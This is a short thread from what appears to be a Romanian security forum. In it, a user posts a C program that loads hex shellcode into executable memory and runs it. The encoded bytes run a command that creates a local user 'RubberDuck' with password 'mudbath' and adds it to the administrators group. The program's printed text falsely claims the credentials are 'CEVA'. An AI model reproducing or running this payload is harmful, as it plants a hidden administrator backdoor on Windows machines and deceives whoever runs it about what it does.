mDOS Posted September 1, 2019 Report Share Posted September 1, 2019 #include <stdio.h> #include <windows.h> int main(){ unsigned char shellcode[]= "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" "\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65" "\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68" "\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54" "\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF" "\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E" "\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74" "\x20\x75\x73\x65\x72\x20\x52\x75\x62\x62" "\x65\x72\x44\x75\x63\x6B\x20\x6D\x75\x64" "\x62\x61\x74\x68\x20\x2F\x61\x64\x64\x20" "\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63" "\x61\x6C\x67\x72\x6F\x75\x70\x20\x61\x64" "\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x6F" "\x72\x73\x20\x52\x75\x62\x62\x65\x72\x44" "\x75\x63\x6B\x20\x2F\x61\x64\x64\x00"; LPVOID lpAlloc; void (*pfunc)(); printf("size = %i bytes\n", lstrlen(shellcode) + 1); printf("-------------------------\nUsername: CEVA\nPassword: CEVA\n"); system("PAUSE"); lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpAlloc == NULL){ printf("Memory not allocated!\n"); return 0; } memcpy(lpAlloc, shellcode, lstrlen(shellcode) + 1); pfunc = lpAlloc; pfunc(); return 0; } NU UITA SA INLOCUL CEVA-UL ACELA CU CEVA Quote Link to comment Share on other sites More sharing options...
Active Members dancezar Posted September 1, 2019 Active Members Report Share Posted September 1, 2019 Degeaba le "schimbi" in printf-ul ala Ce sens ar avea sa primesti parametrii aceia din stdout... Quote Link to comment Share on other sites More sharing options...
mDOS Posted September 1, 2019 Author Report Share Posted September 1, 2019 8 minutes ago, dancezar said: Degeaba le "schimbi" in printf-ul ala Ce sens ar avea sa primesti parametrii aceia din stdout... eh Quote Link to comment Share on other sites More sharing options...